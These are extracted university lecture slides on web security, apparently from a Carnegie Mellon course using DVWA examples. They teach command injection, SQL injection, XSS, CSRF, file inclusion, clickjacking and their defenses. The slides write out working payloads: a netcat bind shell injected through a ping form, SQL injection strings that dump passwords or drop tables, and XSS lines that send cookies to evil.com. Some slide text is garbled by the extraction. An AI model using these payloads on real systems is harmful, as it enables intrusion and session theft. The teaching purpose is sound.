Web Security Jonathan Burket Carnegie Mellon University Credits

Web Security Jonathan Burket Carnegie Mellon University Credits: Original Slides by David Brumley. Examples based on DVWA (http: //www. dvwa. co. uk/) Collin Jackson’s Web Security Course http: //caffeinept. blogspot. com/2012/01/dvwa-sql-injection. html Graphics from The Noun Project

We’re done with Crypto! Key concepts like authentication, integrity, man-inthe-middle attacks, etc. will still be important 2

Web Application Overview subdomain. mysite. com/folder/page? id=5 HTML Page, JS file, CSS file, image, etc. GET Requests: Used for requests for pages, resources, etc. Database Queries POST Requests: Used form submissions, logins, etc. 3

Web Security Overview (By Threat Model) Malicious Client Attacking Server SQL Injection File System Traversal Broken Access Control 4

Web Security Overview (By Threat Model) Malicious Server Attacking Client Clickjacking History Probing Phishing 5

Web Security Overview (By Threat Model) Malicious User Attacking Other Users Cross-Site Scripting Cross-Site Request Forgery Remote Script Inclusion 6

Web Security Overview (By Threat Model) Malicious Server in “Mashup” Web Application Clickjacking Information Stealing 7

Web Security Overview (By Threat Model) Malicious User in Multi-Server Application Single sign-on (Facebook, Twitter, etc. ): Sign in as someone else Multi-Party Payment (Paypal, Amazon Payments): Buy things for free 8

Injection Flaws 9

“Injection flaws occur when an application sends untrusted data to an interpreter. ” --- OWASP Like Buffer Overflow and Format String Vulnerabilities, A result of from mixing data and code https: //www. owasp. org/index. php/Top_10_2010 -A 4 -Insecure_Direct_Object_References 10

1. http: //site. com/exec/ Client Server 2. Send page <h 2>Ping for FREE</h 2> <p>Enter an IP address below: </p> <form name="ping" action="#" method="post"> <input type="text" name="ip" size="30"> <input type="submit" value="submit" name="submit”> </form> Input to form program 11

POST /dvwa/vulnerabilities/exec/ HTTP/1. 1 Host: 172. 16. 59. 128. . . ip=127. 0. 0. 1&submit=submit Client Send output <h 2>Ping for FREE</h 2> ip input Server … $t = $_REQUEST[‘ip']; $o = shell_exec(‘ping –C 3’. $t); echo $o … PHP exec program <p>Enter an IP address below: </p> <form name="ping" action="#" method="post"> <input type="text" name="ip" size="30"> <input type="submit" value="submit" name="submit”> </form> 12

POST /dvwa/vulnerabilities/exec/ HTTP/1. 1 Host: 172. 16. 59. 128. . . ip=127. 0. 0. 1&submit=submit Client 2. Send page spot the bug ip input Server … $t = $_REQUEST[‘ip']; $o = shell_exec(‘ping –C 3’. $t); echo $o … PHP exec program 13

POST /dvwa/vulnerabilities/exec/ HTTP/1. 1 Host: 172. 16. 59. 128. . . ip=127. 0. 0. 1%3 b+ls&submit=submit Client “; ls” encoded Server 2. Send page … $t = $_REQUEST[‘ip']; $o = shell_exec(‘ping –C 3’. $t); echo $o … PHP exec program Information Disclosure 14

Getting a Shell ip=127. 0. 0. 1+%26+netcat+-v+-e+'/bin/bash'+ -l+-p+31337&submit=submit netcat –v –e ‘/bin/bash’ –l –p 31337 15

SQL Injection 1 /user. php? id=5 4 “jburket” 3 “jburket” 2 SELECT FROM users where uid=5 16

SQL Injection 1 /user. php? id=-1 or admin=true 4 “adminuser” 3 “adminuser” 2 SELECT FROM users where uid=-1 or admin=true 17

Card. Systems Attack • Card. Systems – credit card payment processing company – SQL injection attack in June 2005 – put of business • The Attack – 263, 000 credit card #s stolen from database – credit card #s stored unencrypted – 43 million credit card #s exposed Image: http: //usa. visa. com/merchants/marketing_center/logo_usage. html https: //www. mastercardbrandcenter. com/ 18

SQL Primer A table is defined by a tuple (t 1, t 2, . . . , tn)of typed named values. Each row is a tuple of values (v 1: t 1, v 2: t 2, . . . vn: tn) Column 1 of Type 1 Column 2 of Type 2 Column 3 of Type 3 value 1 value 2 value 3 value 4 value 5 value 6 varchar(15) smallint user_id first_name last_name user password avatar 1 admin <hash 1> admin. jpg 2 Gordon Brown gordonb <hash 2> gordonb. jpg 3 Hack Me 1337 <hash 3> hacker. jpg . . . . ‘users’ table 19

user_id first_name last_name user password avatar 1 admin <hash 1> admin. jpg 2 Gordon Brown gordonb <hash 2> gordonb. jpg 3 Hack Me 1337 <hash 3> hacker. jpg . . . . users user_id comment 1 1 Test Comment 2 2 I like sugar 2 3 But not milk 3 4 Gordon is silly comments A schema is a collection of tables with their intended relations 20

Basic Queries SELECT <columns> from <db> where <exp> Returns all rows from db columns where exp is true • columns can either be: – List of comma-separated column names – “*” for all columns • db is a comma-separated list of tables • exp is a Boolean SQL expression – Single quotes for strings (‘’) – Integers are specified in the normal way • Comments are specified: – Single line: ‘--’ (two dashes) character – Multi-line: “/*” and “*/” (like C) – Server-specific, e. g. , “#” single-line comment for mysql 21

Example Query SELECT <columns> from <db> where <exp> select * from comments where user_id = 2; 2, 2, “I like sugar” 2, 3, “But not milk” user_id comment 1 1 Test Comment 2 2 I like sugar 2 3 But not milk 3 4 Gordon is silly comments 22

Join Example SELECT <columns> from <db> where <exp> select users. first_name, comments. comment from users, comments where users. user_id=comments. user_id and users. user_id = 2; Gordon“I like sugar” Gordon“But not milk” user_id first_name last_name user . . . 1 admin . . . 2 Gordon Brown gordonb. . . user_id comment 1 1 Test Comment 2 2 I like sugar 2 3 But not milk 3 4 Gordon is silly Join two tables 23

Tautologies SELECT <columns> from <db> where <exp> select * from comments where user_id = 2 OR 1= 1; 1, 1, “Test Comment” 2, 2, “I like sugar” 2, 3, “But not milk” 3, 4, “Gordon is silly” user_id comment 1 1 Test Comment 2 2 I like sugar 2 3 But not milk 3 4 Gordon is silly comments Tautologies often used in real attacks 24

$id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die('<pre>'. mysql_error(). '</pre>' ); Guess as to the exploit? 25

$id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die('<pre>'. mysql_error(). '</pre>' ); Solution: 1 or 1=1; 26

$id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id’"; $result = mysql_query($getid) or die('<pre>'. mysql_error(). '</pre>' ); Does quoting make it safe? Hint: Comments are specified: • Single line: ‘--’ (two dashes) character • Multi-line: “/*” and “*/” • “#” single-line comment for mysql 27

$id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id’"; $result = mysql_query($getid) or die('<pre>'. mysql_error(). '</pre>' ); 1’ OR 1=1; # 28

Even worse $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id’"; $result = mysql_query($getid) or die('<pre>'. mysql_error(). '</pre>' ); 1′ ; DROP TABLE Users ; -- # Command not verified, but you get the idea 29

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Reversing Table Layout 1. Column Numbers 2. Column Names 3. Querying other tables 31

Probing Number of Columns ORDER BY <number> can be added to an SQL query to order results by a column. select first_name, last_name from users where user_id = 1 ORDER BY 1 $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id’"; $result = mysql_query($getid) or die('<pre>'. mysql_error(). '</pre>' ); 32

Probing Number of Columns ORDER BY <number> can be added to an SQL query to order results by a column. . $getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’”; . . . ✓ select first_name, last_name from users where user_id = ‘ 1’ ORDER BY 1; # ✗ select first_name, last_name from users where user_id = ‘ 1’ ORDER BY 3; # 33

Probing Column Names A query with an incorrect column name will give an error. . . $getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’”; . . . ✓ select first_name, last_name from users where user_id = ‘ 1’ or first_name IS NULL; # ✗ select first_name, last_name from users where user_id = ‘ 1’ or firstname IS NULL; # 34

Querying extra tables with UNION <query 1> UNION <query 2> can be used to construct a separate query 2. . $getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’”; . . . ✓ select first_name, last_name from users where user_id = ‘ 1’ UNION select user, password from mysql. users; # 35

Leaking the result of error messages is a poor security practice. Errors leaks information! 36

Error Messages ✗ select first_name, last_name from users where user_id = ‘ 1’ ORDER BY 3; # Error returned to user: Unknown column '3' in 'order clause’ ✗ select first_name, last_name from users where user_id = ‘ 1’ or firstname IS NULL; # Error returned to user: Unknown column 'firstname' in 'where clause' 37

Blind SQL Injection 1 /user. php? id=5 4 “jburket” 3 “jburket” 2 SELECT FROM users where uid=5 Sometimes results of SQL queries are not sent back to the user 38

Blind SQL Injection Defn: A blind SQL injection attack is an attack against a server that responds with generic error page or even nothing at all. Approach: ask a series of True/False questions, exploit side-channels 39

Actual My. SQL syntax! Blind SQL Injection 1 if ASCII(SUBSTRING(username, 1, 1)) = 64 waitfor delay ‘ 0: 0: 5’ 2 if ASCII(SUBSTRING(username, 1, 1)) = 64 waitfor delay ‘ 0: 0: 5’ If the first letter of the username is A (65), there will be a 5 second delay 40

Blind SQL Injection 1 if ASCII(SUBSTRING(username, 1, 1)) = 65 waitfor delay ‘ 0: 0: 5’ 2 if ASCII(SUBSTRING(username, 1, 1)) = 65 waitfor delay ‘ 0: 0: 5’ By timing responses, the attacker learns about the database one bit at a time 41

Parameterized Queries with Bound Parameters public int set. Up. And. Exec. PS(){ query = conn. prepare. Statement( "UPDATE players SET name = ? , score = ? , active = ? WHERE jersey. Num = ? "); //automatically sanitizes and adds quotes query. set. String(1, "Smith, Steve"); query. set. Int(2, 42); query. set. Boolean(3, true); query. set. Int(4, 99); Similar methods for other SQL types //returns the number of rows changed return query. execute. Update(); } Prepared queries stop us from mixing data with code! 42

Safety Code for the worst Database Programmer 43

Cross Site Scripting (XSS) 1. Document Object Model 2. Cookies and Sessions 3. XSS 44

Basic Browser Model 1. Window or frame loads content 2. Renders content – Parse HTML, scripts, etc. – Run scripts, plugins, etc. 3. Responds to events Event examples – User actions: On. Click, On. Mouseover – Rendering: On. Load, On. Before. Unload, onerror – Timing: set. Timeout(), clear. Timeout() 45

Document Object Model <html><body> <head><title>Example</title>. . . </head> <body> <a id="myid" href="javascript: flip. Text()">Alice</a> </body></html> document A parse tree that is dynamically updated head title body. . . a Alice 46

Document Object Model <head>. . . <script type="text/javascript"> flip = 0; function flip. Text() { var x = document. get. Element. By. Id('myid'). first. Child; if(flip == 0) { x. node. Value = 'Bob'; flip = 1; } else { x. node. Value = 'Alice'; flip = 0; } } </script> document </head> <body> <a id="myid" head body href="javascript: flip. Text()"> Alice script </a> </body> Edits “Alice” to be “Bob” flip. Text a Alice 47

“Cross site scripting (XSS) is the ability to get a website to display user-supplied content laced with malicious HTML/Java. Script” 48

<form name="XSS" action="#" method="GET”> <p>What's your name? </p> <input type="text" name="name"> <input type="submit" value="Submit"> </form> <pre>Hello David</pre> 49

<form name="XSS" action="#" method="GET”> <p>What's your name? </p> <input type="text" name="name"> <input type="submit" value="Submit"> </form> <pre>>Hello David<</pre> HTML chars not stripped 50

Lacing Java. Script <script>alert(“hi”); </script> 51

Lacing Java. Script <script>alert(“hi”); </script> <form name="XSS" action="#" method="GET”> <p>What's your name? </p> <input type="text" name="name"> <input type="submit" value="Submit"> </form> <pre><script>alert(“hi”)</script></pre> Injected code 52

HTTP is a stateless protocol. In order to introduce the notion of a session, web services uses cookies. Sessions are identified by a unique cookie. 53

Form Authentication & Cookies 1. Enrollment: – Site asks user to pick username and password – Site stores both in backend database 2. Authentication: Stealing cookies allows you to hijack a session – Site askswithout user forknowing login information the password – Checks against backend database – Sets user cookie indicating successful login 3. Browser sends cookie on subsequent visits to indicate authenticated status 54

Sessions using cookies Browser Server POST/login. c gi enticator uth Set-cookie: a GET… Cookie: au th enticator response

Stealing Your Own Cookie <script> alert(document. cookie) </script> My session token 56

“Reflected” XSS Problem: Server reflects back javascript-laced input Attack delivery method: Send victims a link containing XSS attack 57

Reflected Example Up through 2009: http: //www. lapdonline. org/. . . search_terms=<script>alert(“vuln”); </script> (example attack: send phish purporting link offers free Anti-virus) 58

Stealing Cookies <script> alert(document. cookie) </script> Phish with malicious URL http: //www. lapdonline. org/search_results/search/&v iew_all=1&chg_filter=1&search. Type=content_basic& search_terms=%3 Cscript%3 Ealert(document. cookie); %3 C/script%3 E 59

http: //www. lapdonline. org/search_results/search/&v iew_all=1&chg_filter=1&search. Type=content_basic&s earch_terms=%3 Cscript%3 Edocument. location=‘evil. c om/’ +document. cookie; %3 C/script%3 E “Check out this link!” Session token for lapdonline. org evil. com/f 9 geiv 33 knv 141 Response containing malicious JS evil. com http: //www. lapdonli ne. org/search_result s/search/&view_all= 1&chg_filter=1&searc h. Type=content_basic &search_terms=%3 C script%3 Edocument. l ocation=evil. com/do cument. cookie; %3 C/ script%3 E lapdonline. org 60

“Stored” XSS Problem: Server stores javascript-laced input Attack delivery method: Upload attack, users who view it are exploited 61

HTML bold for emphasis! Every browser that visits the page will run the “bold” command 62

Fill in with <script>alert(“test”); <script> Every browser that visits the page will run the Javascript 63

evil. com Session token for lapdonline. org evil. com/f 9 geiv 33 knv 141 Posts comment with text: <script>document. location = “evil. com/” + document. cookie</script> Comment with text: <script>document. location = “evil. com/” + document. cookie</script> lapdonline. org 64

1. Send XSS attack Attacker Victim Server Victim 2. Victim exploited just by visiting site 65

Injection Attacks • Main problem: unsanitized user input is evaluated by the server or another user’s browser • Main solution: sanitize input to remove “code” from the data Don’t roll your own crypto Don’t write your own sanitization 66

Sanitizing Is Not Easy Remove cases of “<script>” <script>alert(document. cookie)</script> Recursively Remove cases of “<script>” <body onload=“alert(document. cookie)”> Recursively Remove cases of “<script>” and JS keywords like “alert” ¼script¾au 006 ert(¢XSS¢)¼/script¾ These tend to be server/browser specific

“Frontier Sanitization” Sanitize all input immediately (SQL, XSS, bash, etc. ) What order should the sanitization routines be applied? SQL then XSS, XSS then SQL? 68

Second-Order SQL Injection Sanitizer evil' evil' insert into sessions (username, session. ID) values (‘evil’’, 1234) select * from sessions where session. ID = 1234 evil' select * from users where username = ‘evil’’ HORRIBLE ERROR Sanitizing input once sometimes isn’t enough! 69

Context-Specific Sanitization SQL Sanitization XSS Sanitization 70

Web Security – Day 2 Jonathan Burket Carnegie Mellon University Credits: Original Slides by David Brumley. Examples based on DVWA (http: //www. dvwa. co. uk/) Collin Jackson’s Web Security Course http: //caffeinept. blogspot. com/2012/01/dvwa-sql-injection. html Graphics from The Noun Project

Cross Site Request Forgery (CSRF) 72

Recall: Session Cookies Browser Server POST/login. c gi enticator Sent on every page request. . . intentional or not uth Set-cookie: a GET… Cookie: au th enticator response

Authenticates with bank. com /transfer? amount=500&dest=grandson evil. com Cookie checks out! Sending $500 to grandson 74

/transfer? amount=10000&dest=evilcorp bank. com <img src=“http: //bank. com/ transfer? amount=10000&id=evilcorp”> evil. com $10000 Cookie checks out! Sending $10000 to Evil. Corp 75

Cross Site Request Forgery (CSRF) A CSRF attack causes the end user browser to execute unwanted actions on a web application in which it is currently authenticated. 76

Another Example: Home Router Home router Attacker can enable remote admin, reset password, etc. 1. configure router Browser cess c a figs n o 4. c 3. malic ious pag e 2. visits malicious site 50% of home routers have default or no pw* Attacker * source: “Drive-By Pharming”, Stamm et al. Symantec report, 2006 77

CSRF Defenses • Secret Validation Token <input type=hidden value=23 a 3 af 01 b> • Referer Validation Not designed for CSRF Protection Referer: http: //www. facebook. com/home. php • Origin Validation Origin: http: //www. facebook. com/home. php * Referrer is misspelled as “referer” in HTTP header field

Secret Token Validation <input type=hidden value=23 a 3 af 01 b> • Requests include a hard-to-guess secret – Unguessability substitutes for unforgeability • Variations – Session identifier – Session-independent token – Session-dependent token – HMAC of session identifier

Secret Token Validation

Referrer Validation Origin: http: //www. facebook. com/home. php HTTP Origin header ✓ Origin: http: //www. facebook. com/ ✗ Origin: http: //www. attacker. com/evil. html ☐ Origin: Lenient: Accept when not present (insecure) Strict: Don’t accept when not present (secure)

From HW 2: The CRIME Attack evil. com Malicious Script that sends forced requests to good. com Forced request to good. com containing session token + some attacker controlled input Compressed, then Encrypted Eavesdrop on packet size CSRF Defenses do not prevent this! good. com 82

Web Frameworks 83

Web Frameworks • Automatic CSRF Tokens <input type=hidden value=23 a 3 af 01 b> • Don’t need to actually write SQL queries Post. find(params[: id]) => “select * from posts where id=‘” + safe(params[: id]) + “’” • Automatic XSS Sanitization 84

Web Frameworks – XSS Sanitization Rails HTML Templating: <html> <body> Welcome to the site <%= username %>! </body> </html> username = “<b>jburket</b>” <html> <body> Welcome to the site < b> jburket< /b> ! </body> </html> 85

Web Frameworks Increased automation in web frameworks can introduce new vulnerabilities 86

Remote File Inclusion colors. php: … <? php if (isset( $_GET['COLOR'] ) ){ include( $_GET['COLOR']. '. php' ); } ? > … “/colors. php? COLOR=red” will include contents of red. php Local File Inclusion “/colors. php? COLOR=blue” will include contents of blue. php “/colors. php? COLOR=/hidden/dangerous” will include /hidden/dangerous. php “/colors. php? COLOR=http: //evil. com/bad” will include http: //evil. com/bad. php Perfect for executing an XSS attack Example from wikipedia. org/File_inclusion_vulnerability 87

Mass Assignment Vulnerabilities jburket@cmu. edu users_new. rb: … form_data = params[: post] User. new(form_data) … form_data = {: name => “jburket”, : email => “jburket@cmu. edu”} Images from : http: //asciicasts. com/episodes/206 -action-mailer-in-rails-3 88

Mass Assignment Vulnerabilities POST /new_user HTTP/1. 1 Host: railsapp. com name=jburket&email=jburket@cmu. edu Modify jburket@cmu. edu POST /new_user HTTP/1. 1 Host: railsapp. com Admin user created! name=jburket&email=jburket@cmu. edu &admin=true users_new. rb: … form_data = params[: post] User. new(form_data) … form_data = {: name => “jburket”, : email => “jburket@cmu. edu”, : admin => true} Images from : http: //asciicasts. com/episodes/206 -action-mailer-in-rails-3 89

Malicious Servers and Browser Security 90

CSS History Probing evil. com: http: //www. google. com http: //www. facebook. com http: //www. twitter. com http: //www. facebook. com/group? id=12345 http: //www. facebook. com/group? id=98765 Attacker uses Java. Script + CSS to check which links are visited Client has visited Google, Facebook and the Facebook Group 12345 Client has NOT visited Twitter or Facebook Group 98765 Image from http: //matthewjamestaylor. com/blog/experimenting-with-visited-links 91

CSS History Probing Work done at CMU! Weinberg, Zachary, et al. "I still know what you visited last summer: Leaking browsing history via user interaction and side channel attacks. " Security and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011. 92

How does the “Like” button work? Like button knows about your Facebook session! Appears in “Mashup” with content from other domains 93

How does the “Like” button work? Like Button Requirements: • Needs to access cookie for domain facebook. com • Can be deployed on domains other than facebook. com • Other scripts on the page should not be able to click Like button We need to isolate the Like button from the rest of the page 94

IFrames Parent page Embedded page Any page can be embedded 95

IFrames Pages share same domain Pages do not share same domain The same-origin policy states that the DOM from one domain should not be able to access the DOM from a different domain 96

How does the “Like” button work? <iframe id="f 5 b 9 bb 75 c" name="f 2 f 3 fdd 398" scrolling="no" title="Like this content on Facebook. " class="fb_ltr" src="http: //www. facebook. com/plugins/like. php? api_key=11665616 1708917. . . " style="border: none; overflow: hidden; height: 20 px; width: 80 px; "></iframe> The same-origin policy prevents the host from clicking the button and from checking if it’s clicked 97

The same-origin policy prevents malicious sites from clicking their own “Like” button What if the site can trick you into clicking it yourself? 98

Clickjacking occurs when a malicious site tricks the user into clicking on some element on the page unintentionally. Click for a FREE i. Pad! Slides modeled after presentation by Lin-Shung Huang at USENIX 2012. Paper: Lin-Shung Huang, Alex Moshchuk, Helen J. Wang, Stuart Schechter, and Collin Jackson. 2012. Clickjacking: attacks and defenses. In Proceedings of the 21 st USENIX conference on Security symposium (Security'12). USENIX Association, Berkeley, CA, USA, 22 -22. 99

Clickjacking Click for a FREE i. Pad! Real Cursor Fake Cursor 100

Clickjacking This is the button that gets clicked! Click for a FREE i. Pad! Real Cursor Hidden Fake Cursor 101

Advanced Clickjacking Malicious site now has access to your webcam! Also work done at CMU! Lin-Shung Huang, Alex Moshchuk, Helen J. Wang, Stuart Schechter, and Collin Jackson. 2012. Clickjacking: attacks and defenses. In Proceedings of the 21 st USENIX conference on Security symposium (Security'12). USENIX Association, Berkeley, CA, USA, 22 -22. 102

Clickjacking - Mitigation Adding a delay between a button appearing and being usable helps prevent Clickjacking 103

Using Frames for Evil If pages with sensitive buttons can be put in an IFrame, then it may be possible to perform a Clickjacking attack 104

Framebusting is a technique where a page stops functioning when included in a frame. <script type="text/javascript"> if(top != self) top. location. replace(self. location); </script> If the page with this script is embedded in a frame, then it will escape out of the frame and replace the embedding page 105

Don’t roll your own crypto Don’t write your own sanitization Don’t write your own framebusting solution 106

Framebusting is Complicated if(top. location!=self. location) { parent. location=self. location; } Fails if page is embedded two Iframes deep <script type="text/javascript"> if(top != self) top. location. replace(self. location); </script> If the embedding page sets the on. Before. Unload event, the script can be blocked If the embedding page makes lots of requests that return “ 204 – No Content” responses, we don’t even need the dialog Rydstedt, Gustav, et al. "Busting frame busting: a study of clickjacking vulnerabilities at popular sites. " IEEE Oakland Web 2 (2010).

Framebusting is Complicated <style> body { display: none; } </style> <script> if (self == top) { document. get. Elements. By. Tag. Name("body")[0]. style. display = 'block'; } else { top. location = self. location; } </script> Javascript-based Framebusting is a just a hack. Does. Isthis work? Whoway? Knows? there a better Rydstedt, Gustav, et al. "Busting frame busting: a study of clickjacking vulnerabilities at popular sites. " IEEE Oakland 108 Web 2 (2010).

X-Frame-Options Header DENY: The page cannot be embedded in a frame SAMEORIGIN: The page can only be framed on a page with the same domain ALLOW-FROM origin: The page can only be framed on a page with a specific other domain Can limit flexibility and might not work on older browsers 109

Multi-Party Web Applications 110

Party B Party A Same-origin policy won’t stop parties from communicating directly to share information Client This can be good: Single Sign-On Multiparty E-Commerce 111

Disclaimer: The exact details of the following protocols may not be 100% correct (i. e. Facebook might use a slightly different implementation than presented here). Our goal is to get a feel for how these systems work. This section won’t be on the test. Something similar may come up in the homework, however. 112

Multi-Party E-Commerce Applications Order 123 is completed I’d like the $40 Vest Shipping Redirect you to your paypal. com/pay vest ? id=123&total=40 /pay? id=123&total=40 Give me $40 Here’s my $40 Cool Client Wang, Rui, et al. "How to shop for free online--Security analysis of cashier-as-a-service based Web stores. " Security and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011. 113

Multi-Party E-Commerce Applications Order 123 is completed I’d like the $40 Vest Shipping Redirect you to your paypal. com/pay vest ? id=123&total=40 /pay? id=123&total=1 Give me $1 Here’s my $1 Cool Client Wang, Rui, et al. "How to shop for free online--Security analysis of cashier-as-a-service based Web stores. " Security and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011. 114

Multi-Party E-Commerce Applications $40 Signature checks out. I’d like the $40 Vest Sending your vest. Redirect to paypal. com/pay: -- id=123 total=40 -- total=40 Signed by Pay. Pal - callback = jimmy. com - Signed by Jimmy Redirect to Give me $40 paypal. com/pay: - Here’s id=123 my $40 - Redirect total=40 to jimmy. com - -callback jimmy. com total ==40 - -Signed Paid by Jimmy - Signed by Pay. Pal Client Wang, Rui, et al. "How to shop for free online--Security analysis of cashier-as-a-service based Web stores. " Security and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011. 115

Multi-Party E-Commerce Applications Eve makes $40 store linked to Pay. Pal Signature checks out. I’d like the $40 Vest Sending your vest. Redirect to paypal. com/pay: -- id=123 total=40 -- total=40 Signed by Pay. Pal - callback = jimmy. com - Signed by Jimmy Redirect to Give me $40 paypal. com/pay: - Here’s id=123 my $40 - Redirect total=40 to jimmy. com - -callback jimmy. com total ==40 - -Signed Paid by Eve’s Store - Signed by Pay. Pal Eve Wang, Rui, et al. "How to shop for free online--Security analysis of cashier-as-a-service based Web stores. " Security and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011. 116

Single Sign-On: OAuth Z linked to Alice’s session Facebook secret: Y Knows Udacity’s secret is Y Z is authenticated as Alice Who has token “X”? My secret is Y It’s Alice. She has 5 friends. I’d like to sign in with Facebook Redirect to Facebook (include callback URL) and identifier Z Give your permission to Udacity? Yeah Here’s the token “X” for user Z OAuth Security Advisory: 2009. 1 Z, callback OK. Here’s a special token “X”. Redirect to callback with identifier Z Alice 117

Single Sign-On: OAuth Z linked to Eve’s session Facebook secret: Y Knows Udacity’s secret is Y Eve is authenticated as Alice Who has token “X”? My secret is Y It’s Alice. She has 5 friends. Type of Session Fixation Here’s the Attack token “X” –Z, Fixed callback in OAuth 2. 0 I’d like to sign in with Facebook for user Z Redirect to Facebook (include callback URL) and identifier Z Eve OAuth Security Advisory: 2009. 1 Hey Alice! Check out this URL! Give your permission to Udacity? Huh? Whatever OK. Here’s a special token “X”. Redirect to callback with identifier Z Alice 118

Questions? 119

END

Backup slides here. • Titled cherries because they are for the pickin. (credit due to maverick for wit) 121

“Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. ” --- OWASP Typical Example: File Traversal https: //www. owasp. org/index. php/Top_10_2010 -A 4 -Insecure_Direct_Object_References 122

Stencils ABC ABC ABC ABC 123

Other Colors from Adobe Kuler Don’t use these unless absolutely necessary. We are not making skittles, so there is no rainbow of colors necessary. Mac application for Adobe Kuler: http: //www. lithoglyph. com/mondrianum/ http: //kuler. adobe. com/ ABC ABC ABC 124